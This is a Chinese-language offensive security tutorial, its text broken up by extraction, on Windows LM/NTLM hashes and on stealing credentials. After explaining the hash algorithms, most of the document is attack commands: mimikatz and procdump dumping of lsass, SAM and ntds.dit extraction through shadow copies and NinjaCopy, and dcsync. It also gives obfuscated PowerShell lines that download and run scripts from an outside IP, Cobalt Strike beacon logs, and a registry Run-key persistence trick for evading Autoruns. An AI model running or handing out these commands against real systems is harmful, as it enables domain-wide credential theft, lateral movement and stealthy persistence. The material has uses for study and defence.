Windows HASH
HASH简介
hash
,一般翻译做散列,或音译为哈希,所谓哈希,就是使用一种加密函数进行计算后的结果。这个
加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相
同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一
固定长度的消息摘要的函数。
windows HASH简介
Windows
加密过的密码口令,我们称之为
hash
Windows
系统使用两种方法对用户的密码进行哈希处理,它们分别是
LAN Manager
(
LM
)
哈希和
NT
LAN Manager
(
NTLM
)
哈希。
现在已经有了更新的
NTLMv2
以及
Kerberos
验证体系。
LM-HASH
LM-HASH简介
LAN Manager
(
LM
)哈希是
Windows
系统所用的第一种密码哈希算法,是一种较古老的
Hash
,在
LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
它只有唯一一个版本且一直用到了
NT LAN Manager
(
NTLM
)
哈希的出现,
在
Windows XP / Windows Server 2003
之前, 它是
Windows
上占主导地位的密码存储算法。
从
Windows Vista / Windows Server 2008
开始,默认情况下已禁用该算法。
LM
算法是在
DES
基础上实现的,不区分字母大小写。
LM-HASH生成原理
假设用户密码为:
password
1.
将用户密码所有字符转换为大写:
PASSWORD
2.
密码长度不足
14
个字符将用
0
填充到
14
个字符
3.
这
14
个字符将被分成两半:
PASSWOR D000000
4.
将每一半转换为位,并且每
7
位之后将添加一个奇偶校验位
(0)
,因此结果为
64
位:
1101000011
-
> 1101000 0 011 ,在将这些奇偶校验位相加之后,我们将从两个预先生成的两半中获得两个密钥
5.
分别用生成的两个密钥作为
key
对
KGS!@#$%
进行
DES
加密:
PASSWOR =E52CAC67419A9A22
D000000 = 4A3B108F3FA6CB6D
6.
将加密后的两组拼接在一起,得到
LM HASH
值:
E52CAC67419A9A22 4A3B108F3FA6CB6D
使用
python
得到
LM HASH
值:
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
#coding=utf-8
import
re
import
binascii
from
pyDes
import
*
def
DesEncrypt
(
str
,
Des_Key
):
k
=
des
(
binascii
.
a2b_hex
(
Des_Key
),
ECB
,
pad
=
None
)
EncryptStr
=
k
.
encrypt
(
str
)
return
binascii
.
b2a_hex
(
EncryptStr
)
def
group_just
(
length
,
text
):
# text 00110001001100100011001100110100001101010011011000000000
text_area
=
re
.
findall
(
r'.{%d}'
%
int
(
length
),
text
)
# ['0011000',
'1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding
= [
i
+
'0'
for
i
in
text_area
]
#['00110000', '10011000',
'10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str
=
''
.
join
(
text_area_padding
)
#
0011000010011000100011000110011001000010101010001101100000000000
hex_int
=
hex
(
int
(
hex_str
,
2
))[
2
:].
rstrip
(
"L"
)
#30988c6642a8d800
if
hex_int
==
'0'
:
hex_int
=
'0000000000000000'
return
hex_int
def
lm_hash
(
password
):
# 1.
用户的密码转换为大写,密码转换为
16
进制字符串,不足
14
字节将会用
0
来再后面补全。
pass_hex
=
password
.
upper
().
encode
(
"hex"
).
ljust
(
28
,
'0'
)
#3132333435360000000000000000
print
(
pass_hex
)
# 2.
密码的
16
进制字符串被分成两个
7byte
部分。每部分转换成比特流,并且长度位
56bit
,长度不足
使用
0
在左边补齐长度
left_str
=
pass_hex
[:
14
]
#31323334353600
right_str
=
pass_hex
[
14
:]
#00000000000000
left_stream
=
bin
(
int
(
left_str
,
16
)).
lstrip
(
'0b'
).
rjust
(
56
,
'0'
)
#
00110001001100100011001100110100001101010011011000000000
right_stream
=
bin
(
int
(
right_str
,
16
)).
lstrip
(
'0b'
).
rjust
(
56
,
'0'
)
#
00000000000000000000000000000000000000000000000000000000
# 3.
再分
7bit
为一组
,
每组末尾加
0
,再组成一组
left_stream
=
group_just
(
7
,
left_stream
)
# 30988c6642a8d800
right_stream
=
group_just
(
7
,
right_stream
)
# 0000000000000000
# 4.
上步骤得到的二组,分别作为
key
为
"KGS!@#$%"
进行
DES
加密。
left_lm
=
DesEncrypt
(
'KGS!@#$%'
,
left_stream
)
#44efce164ab921ca
right_lm
=
DesEncrypt
(
'KGS!@#$%'
,
right_stream
)
# aad3b435b51404ee
# 5.
将加密后的两组拼接在一起,得到最终
LM HASH
值。
return
left_lm
+
right_lm
if
__name__
==
'__main__'
:
hash
=
lm_hash
(
"123456"
)
LM-HASH缺点
1.
密码长度最大只能为
14
个字符
2.
密码不区分大小写
3.
如果密码强度是小于
7
位,那么第二个分组加密后的结果肯定是
aad3b435b51404ee
,如果我们看到 lm hash
的结尾是
aad3b435b51404ee
,就可以很轻易的发现密码强度少于
7
位
4.
一个
14
个字符的密码分成
7+7
个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7
个字符(而不是
14
个字符)强制暴力破解。这使得
14 个字符的密码的有效强度等于,或者是7
个字符的密码的两倍,该密码的复杂度明显低于
14
个字符的密码的理论强度
5. DES
密码强度不高
NTLM-HASH
NTLM-HASH简介
NT LAN Manager
(
NTLM
)
哈希是
Windows
系统认可的另一种算法,用于替代古老的
LM-Hash
,一般指
Windows
系统下
Security Account Manager
(
SAM
)
中保存的用户密码
hash
,在
Windows
Vista/Windows 7/Windows Server 2008
以及后面的系统中,
NTLM
哈希算法默认启用。
NTLM-HASH生成原理
1.
先将用户密码转换为十六进制格式。
2.
将十六进制格式的密码进行
Unicode
编码。
3.
使用
MD4
摘要算法对
Unicode
编码数据进行
Hash
计算
HASH格式
Windows
的系统密码
hash
默认情况下一般由两部分组成:
第一部分是
LM
-
hash
,第二部分是
NTLM-
hash 。
LM
哈希密码最大长度为
14
,密码长度超过
14
位使用
NTLM
哈希
前面三个系统,当密码超过14
位的时候会采用
NTLM
加密
前一部分是
LM Hash
,后一部分是
NTLM Hash
python2
-
c
"import hashlib,binascii;print
binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
python3
-
c
"import
hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-
16le')).digest()).decode())"
用户名称
:RID:LM-HASH
值
:NTLM-HASH
值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
当
LM Hash
是
AAD3B435B51404EEAAD3B435B51404EE
这表示
空密码或者是未使用
LM_HASH
HASH存储位置
windows hash
一般存储在两个地方:
SAM
文件,存储在本机,对应本地用户
NTDS.DIT
文件,存储在域控上,对应域用户
文件位置:
SAM
:
C:\windows\system32\config\SAM
NTDS.DIT
:
C:\windows\NTDS\NTDS.dit
Windows认证基础
Windows
的认证包括三个部分:
本地认证:用户直接操作计算机登录账户
网络认证:远程连接到工作组中的某个设备
域认证:登陆到域环境中的某个设备
Windows本地认证
1.
用户输入密码
2.
系统收到密码后将用户输入的密码计算成
NTLM Hash
3.
与
sam
数据库(
%SystemRoot%\system32\config\sam
)中该用户的哈希比对
4.
匹配则登陆成功,不匹配则登陆失败
NTLM
哈希,是一种单向哈希算法,
Windows
将用户的密码计算成
NTLM
哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为
lsass.exe
,
密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash
与
sam
进行比对,我们使用
mimikatz
来获取的明文密码,便是在这个进程中读取到的
Windows网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM
协议的认证过程分为三步,也叫挑战相应机制:
1. 协商
双方确定使用的协议版本,
NTLM
存在
V1
和
V2
两个版本,即
Net
-
NTLM v1 hash
、
Net
-
NTLM v2
hash
,具体区别就是加密方式不同
在
NTLM
认证中,
NTLM
响应分为
NTLM v1
,
NTLMv2
,
NTLM session v2
三种协议,不同协议使用不同格式的 Challenge
和加密算法
SAM
:
C:\windows\system32\config\SAM
NTDS.DIT
:
C:\windows\NTDS\NTDS.dit
2. 质询
挑战(
Chalenge
)
/
响应(
Response
)认证机制的核心
1.
客户端向服务器端发送用户信息
(
用户名
)
请求
2.
服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16
位的随机数,被称之为
"
Challenge
"
, 然后使用登录用户名对应的
NTLM Hash 加密
Challenge(16
位随机字符
)
, 生成
Challenge1
保存在内存中。同时,生成
Challenge1 后,将 Challenge
(16
位随机字符
)
明文发送给客户端。
3.
客户端接受到
Challenge
后,使用自己提供的账户的密码转换成对应的
NTLM Hash
,然后使用这个 NTLM Hash
加密
Challenge
生成
Response
,然后将
Response
发送至服务器端。
3. 验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的
Response
后,与之前保存在内存中的
Channelge1
比较,如果相等认证通过
其中,经过
NTLM Hash
加密
Challenge
的结果在网络协议中称之为
Net NTLM Hash
(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是
NTLM
哈希值与随机字符串加密的结果,而这个
NTLM
哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM
哈希即使不知道正确的密码也可通过认证
net-ntlm hash破解
NTLMv2
的格式为:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m
:
hash-type
,
5600
对应
NetNTLMv2
详细参数可查表:
https://hashcat.net/wiki/doku.php?
-o
:输出文件 字典文件为
/tmp/password.list
--force
:代表强制执行,测试系统不支持
Intel OpenCL
Windows密码凭证获取
系统用户凭证获取
mimikatz
mimikatz for Win10
下载:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式凭证获取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug //
提升权限
sekurlsa::logonpasswords //
抓取密码
1.X
privilege::debug //
提升权限
inject::process lsass.exe sekurlsa.dll //
注入
sekurlsa.dll
到
lsass.exe
进程里
@getLogonPasswords //
获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit
Powershell脚本
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.p
s1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.p
s1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mi
mikatz.ps1
Powershell
本地加载
mimikatz
脚本:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "sekurlsa::logonPasswords full"'
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "token::elevate" "lsadump::sam"'
Powershell
远程加载
mimikatz
脚本
powershell IEX (New-Object
Net.WebClient).DownloadString('http://47.101.214.85:8000/Invoke
Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell
混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject
Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'
.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke
Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell
加载
Get-PassHashes
脚本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.p
s1
powershell IEX(new-object
net.webclient).downloadstring('http://47.101.214.85:8000/Get
PassHashes.ps1');Get-PassHashes
procdump+mimikatz
Procdump
下载:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass
进程导出
:
For 32bits
:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits
:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用
mimikatz
还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
注册表导出Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz
:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket
:
https://github.com/SecureAuthCorp/impacket/tree/master/examples
LaZagne
https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
#
如果提示找不到
Crypto
模块, 就到
pip
包安装位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
把
crypto
文件夹重命名为
Crypto
Meterpreter获取Hash
Hashdump
use post/windows/gather/hashdump //system
权限的
meterpreter
set session 1
exploit //
结果保存在
tmp
目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
Hash
格式:
用户名称
:RID:LM
-
HASH
值
:NTLM
-
HASH
值
Mimikatz
Hashdump
使用的是
mimikatz
的部分功能
load mimikatz //
加载模块
wdigest
、
kerberos
、
msv
、
ssp
、
tspkg
、
livessp //
获取用户密码的
hash
值
mimikatz_command -h
mimikatz_command -f :: //
查询有哪些模块
mimikatz_command -f samdump::hashes //
从
windows
的
sam
文件中读取密码
hash
值
mimikatz_command -f sekurlsa::searchPasswords //
获取明文密码
mimikatz_command -f samdump::bootkey
# msf6
load kiwi
help kiwi
creds_all //
列举系统中的明文密码
lsa_dump_sam //
读取
sam
文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd
命令后面接
mimikatz
的命令
CobaltStrike获取Hash
beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords
其他密码凭证获取
1 RDP连接密码解密
mimikatz
查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
/s
查看本地用户此目录下是否存有
RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1E85A94EE31F584E484B8120E3ADA266
9D4E7B34E2541E8AB9F716D127DFFC87
AAAD88ECA44F5AAA1754B5E18F7EB12D
DFBE70A7E5CC19A398EBF1B96859CE5D
E05DBE15D38053457F3523A375594044
查看保存在本地的远程主机信息
cmdkey /list
选择一个密码文件对其进行解密。
此处需要记录下
guidMasterKey
的值,待会要通过
guidMasterKey
找对应的
Masterkey
。
privilege::debug
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
根据
guidMasterKey
找到对应的
Masterkey
sekurlsa::dpapi
通过
Masterkey
解密
pbData
数据,拿到明文
RDP
连接密码
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5
bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
netpass
https://www.nirsoft.net/x64_download_package.html
https://www.nirsoft.net/packages/x64tools.zip
nirsoft123!
Powershell脚本获取RDP连接记录
https://github.com/3gstudent/List-RDP-Connections-History.git
Cobaltstrike
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s
[*] Tasked beacon to run: reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
UsernameHint REG_SZ MINGY\Administrator
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a
%userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器
C
中的卷没有标签。
卷的序列号是
C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials
的目录
2020/09/04 13:24 <DIR> .
2020/09/04 13:24 <DIR> ..
2020/09/04 13:24 434 8CAC243098BA9DDD4EAB58433B85D7F0
1
个文件
434
字节
2
个目录
56,959,107,072
可用字节
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
当前保存的凭据
:
目标
: Domain:target=TERMSRV/10.10.10.6
类型
:
域密码
用户
: WIN7-1\administrator
本地机器持续时间
目标
: LegacyGeneric:target=MINGY\WIN7-1
类型
:
普通
用户
: MINGY\WIN7-1
目标
: LegacyGeneric:target=WIN7-1\Administrator
类型
:
普通
用户
: WIN7-1\Administrator
2 Mysql数据库密码破解
一旦获取了网站一定的权限后,如果能够获取
MySQL
中保存用户数据,通过解密后,即可通过正常途径
来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL
数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件
读取权限后即可直接从数据库连接文件中读取
一般都包含有数据库类型,物理位置,用户名和密码等信息
1. MYSQL数据库文件类型
MYSQL
数据库文件共有
frm
、
MYD
和
MYI
三种文件
".frm"
是描述表结构的文件
".MYD"
是表的数据文件
".MYI"
是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中
与用户有关的一共有三个文件即
user.frm
、
user.MYD
和
user.MYI
,
MYSQL
数据库用户密码都保存
在
user.MYD
文件中,包括
root
用户和其他用户的密码。
2. Mysql加密方式
MYSQL
数据库的认证密码有两种方式
MYSQL 4.1
版本之前是
MYSQL323
加密,
MYSQL 4.1
和之后的版本都是
MYSQLSHA1
加密
MYSQL
数据库中自带
Old_Password(str)
和
Password(str)
函数
,
它们均可以在
MYSQL
数据库里进
行查询,前者是
MYSQL323
加密,后者是
MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
mimikatz "privilege::debug" "dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433
B85D7F0" "exit"
MYSQL323
加密中生成的是
16
位字符串,而在
MYSQLSHA1
中生成的是
41
位字符串,其中
*
是不加入实际
的密码运算中,
MYSQLSHA1
加密的密码的实际位数是
40
位
3. 获取Mysql数据库密码hash值
用
winhex
编辑器打开
user.MYD
文件,使用二进制模式查看,即可得到密码
Hash值:81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4. Hash破解
在线网站破解
www.cmd5.com
www.somd5.com
hashcat
破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
john the ripper
破解
john --list=format | grep mysql
john --format=mysql-sha1 mysql.hash
Cain
破解
3 其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在
Windwos
系统上的部分程序进行解析
,
包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager
系列产品(
Xshell,Xftp)
。
源码:
https://github.com/RowTeam/SharpDecryptPwd
域内密码凭证获取
Ntds.dit
活动目录数据库(
NTDS.DIT
)
Ntds.dit
是主要的
AD
数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM
注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
非域环境也就是在工作组环境中,有一个
sam
文件存储着当前主机用户的密码信息,想要破解
sam
文件与ntds.dit
文件都需要拥有一个
system
文件。
AD DS
数据存储:
由
Ntds.dit
文件构成
默认存储在所有域控制器上的
%SystemRoot%\NTDS
文件夹中
只能通过域控制器进程和协议访问
Ntds.dit
:
(
也被称为
Active Directory database)
包含了当前域中所有的用户的账号信息,和其
HASH
值通过获取 Ntds.dit
和
SYSTEM
文件的副本,最可靠的执行密码审计的方法是脱机的。
由于
Windows
阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
ntds.dit
文件位置
: C:\Windows\NTDS\NTDS.dit
system
文件位置
:C:\Windows\System32\config\SYSTEM
sam
文件位置
:C:\Windows\System32\config\SAM
1 活动目录数据库
由
NTDS.DIT
文件构成,是
Active Directory
的核心
存储在域控的
%SystemRoot%\ntds\
文件夹下
只能通过域控制器进程和协议访问
在工作组环境中,
SAM
文件存储着当前主机用户的密码哈希值
在域环境中,
NTDS.DIT
文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。
Windows
系统为了进一步保护存储的密码哈希值,使用存储在
SYSTEM
注册表配置单元中的密钥对这些哈希值进行加密。
因此想要破解
SAM
文件与
NTDS.DIT
文件都需要获取一个
SYSTEM
文件。
由于
Window
会阻止对这些文件的标准读取或复制操作,如果直接去复制
NTDS.DIT
文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。
2 Volume Shadow Copy
Volume Shadow Copy Service
Volume Shadow Copy Service
卷影复制服务(
VSS
)是微软从
Windows XP
开始提供的用于创建一
致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS
时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
用于数据备份
支持 Windows Server 2003
及以上操作系统
系统默认在特定条件下自动创建数据备份,如补丁安装后。在
Win7
系统大概每隔一周自动创建备
份,该时间无法确定
禁用
VSS
会影响系统正常使用,如
System Restore
和
Windows Server Backup
我们可以利用
Volume Shadow Copy Service
来获取
NTDS.DIT
、
SAM
、
SYSTEM
等文件副本。
注意:
1.
调用
Volume Shadow Copy
服务会产生
SYSTEM
日志,
Event ID
为
7036
。
2.
执行
ntdsutil snapshot "activate instance ntds" create quit quit
会额外产生
Event
ID
为
98 的日志
hash
数量:所有用户
免杀:不需要
优点:
获得信息全面
简单高效
无需下载
ntds.dit
,隐蔽性高
3 Ntdsutil
域环境默认安装
支持系统:
Server 2003
Server 2008
Server 2012
3.1 交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy
完之后再执行
unmout [GUID]
del [GUID]
1.
以管理员身份打开命令提示符(
cmd.exe
)
2.
在命令提示符输入
ntdsutil
命令
3.
在
ntdsutil
提示符下输入
activate instance ntds
ifm
create full <Drive>:\<Folder>
<Drive>:\<Folder>
是要创建文件的文件夹路径。
3.2 非交互
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
3.2.1 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
3.2.2 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid
为
{daee5123
-
b284
-
47fe
-
b02e
-
6e67e8d80fb1}
3.2.3 挂载快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照挂载为
C:\$SNAP_201908291617_VOLUMEC$\
3.2.4 复制ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
3.2.5 卸载快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
3.2.6 删除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
4 Vssadmin
域环境默认安装
支持系统:
Server 2008
Server 2012
4.1 查询当前系统的快照
vssadmin list shadows
4.2 创建快照
vssadmin create shadow /for=c:
获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
4.3 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit
4.4 删除快照
vssadmin delete shadows /for=c: /quiet
5 Vshadow
Vshadow (
vshadow.exe
)
是用于管理卷影副本的命令行实用程序。此工具包含在
Microsoft
Windows Software Development Kit (SDK)
中,有
Microsoft
签名。
Vshadow
有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。
5.1 查询当前系统的快照
vshadow.exe -q
5.2 创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent
,备份操作或是重启系统不会删除
-nw no writers
,用来提高创建速度
C:
对应
c
盘
获得
SnapshotSetID
、
SnapshotID
、
Shadow copy device name
5.3 复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
5.4 删除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
5.5 利用vshadow执行命令
参考:
https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-ev
asion-persistence-and-active-directory-database-extraction/
Vshadow.exe
支持
-
exec
参数,可用于执行二进制文件(
.exe
)或脚本(
.bat/.cmd
)。
-exec
参数不支持命令参数
要求:
管理员权限
上传
Vshadow.exe
上传攻击载荷
执行命令格式:vshadow.exe -nw -exec=<\path\to\exe> <
系统驱动器
>
-nw
:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“
物理
”
磁盘证据
执行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe
c:
[+] host called home, sent: 87 bytes
成功执行
Vshadow
将启动卷影服务
(VSS)
,如系统事件
ID 7036
所示,并调用
VSSVC.exe
进程。
执行后,后台存在进程
VSSVC.exe
,同时显示服务
Volume Shadow Copy
正在运行,需要手动关闭进程 VSSVC.exe
注:手动关闭进程
VSSVC.exe
会生成日志
7034
5.6 自启动持久化和规避
利用思路:
vshadow.exe
包含微软签名,能绕过某些白名单的限制。如果作为启动项,
Autoruns的默认启动列表不显示
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t
REG_EXPAND_SZ /d "C:\Program Files (x86)\Windows
Kits\10\bin\10.0.16299.0\x64\vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:"
在
AutoRuns
中,当过滤
“Microsoft Entries”
时,我们将
看
不到我们的登录条目
但是,如果我们取消选择
“Microsoft Entries”
并启用
“Windows Entries”
,我们将看到我们的持久性机制的记录
6 NinjaCopy
下载地址:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltra
tion/Invoke-NinjaCopy.ps1
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
.\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
"C:\Users\Administrator\Desktop\ntds.dit"
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -
LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path
C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes
beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes
没有调用
Volume Shadow Copy
服务,因此不会产生日志
7 解密NTDS.DIT文件
7.1 Mimikatz在线破解
在线破解,不用将域控上的
ntds.dit
文件下载下来,直接在已有的
shell
上破解。
有一个
cs
弹回的
beacon
,就可以在
beacon
中直接利用
mimikatz
来破解,这一切的前提是有管理员权限Mimikatz有一个功能(
dcsync
),它可以利用目录复制服务(
Directory Replication Service, DRS
)从NTDS.DIT文件中提取密码哈希值。
使用
Mimikatz
的
dcsync
功能,可以利用目录复制服务(
Directory Replication Service, DRS
)从
NTDS.DIT
文件中提取密码哈希值。
在获得管理员权限后,通过
Cobaltstrike
弹回的
beacon
利用
mimikatz
模块进行密码
Hash
提取。
获取
mingy
域内所有用户Hash
lsadump::dcsync /domain:mingy.com /all /csv
查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt
查看所有用户的详细信息
mimikatz lsadump::lsa /inject
7.2 离线破解
离线破解一般需要两步,首先就是将远端域控的
ntds.dit
下载到本地,然后再在本地进行破解。
ntds.dit
文件一直在被
windows
系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的
NTDS.DIT
和
SYSTEM
文件下载到本地,然后在本地进行破解。
QuarksPwDump
QuarksPwDump
是一款用于
Windows
用户凭据提取的开源工具,它可以抓取
windows
平台下多种类型
的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和
Bitlocker
。
1.
修复复制出来的数据库
esentutl /p /o ntds.dit
2.
使用
QuarksPwDump
直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit
SecretsDump
通过
impacket
套件中的
secretsdump.py
脚本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NtdsAudit
https://github.com/Dionach/NtdsAudit
8 扩展
1.
日志文件
调用
Volume Shadow Copy
服务会产生日志文件,位于
System
下,
Event ID
为
7036
执行
ntdsutil snapshot "activate instance ntds" create quit quit
会额外产生
Event ID
为
98
的日志文件
2.
访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问
